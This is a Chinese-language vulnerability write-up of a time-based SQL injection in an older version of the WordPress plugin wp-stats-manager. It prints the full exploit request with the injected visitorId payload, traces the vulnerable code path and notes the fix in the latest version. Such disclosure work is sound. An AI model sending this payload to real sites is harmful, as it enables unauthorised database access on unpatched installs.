
用于 WordPress 访客统计的综合插件,无需依赖外部服务即可跟踪 WordPress 网站的统计信息。使您能够显示有多少用户在您的 WordPress 博客上在线,并提供详细的统计信息,易于安装且运行良好(数千个 WordPress 网站已经在使用它)。当谈到易用性时,WordPress 访客统计数据排在第一位,您会为您的 WordPress 网站提供一个真正的计数器和统计插件。
该插件将帮助您在一个仪表板页面中跟踪您的访客、浏览器、操作系统、访问等等。我们挖掘分析到其中老版本的一个SQL 注入漏洞,在最新版中已经修复。
SQL 注入
GET /?wmcAction=wmcTrack&visitorId=11%27,sleep(10),0,0,0,0,0);--+- HTTP/1.1
Host: wordpress.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_b60eaabcb48d166363619b49c0311df0=admin%7C1691915923%7CtXNRqZGsArAnctd40zoaDNWmW8NT4XCYouz06jeYKdI%7Cd3a9b1482305d5511d766708741e748fe7c6d597e96f06e5a006aae4fa3e35c6; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce; wp-settings-time-1=1691743124;XDEBUG_SESSION=PHPSTORM
Connection: close

wp-content/plugins/wp-stats-manager/includes/wsm_requests.php#wsmRequests

我们可以看到获取了参数 visitorId 然后根据 \$action 的值跳转到不同分支
wp-content/plugins/wp-stats-manager/includes/wsm_requests.php#fnHandleVisit

判断是否是新的请求,来跳转到不同分支
wp-content/plugins/wp-stats-manager/includes/wsm_requests.php#fnHandleNewVisit

带入相关数据跳转到数据库操作
wp-content/plugins/wp-stats-manager/includes/wsm_db.php#fnInsertNewVisit

我们可以看到最后对应执行的数据库语句内容
最新版修复

在接收 visitorId 参数时进行了处理
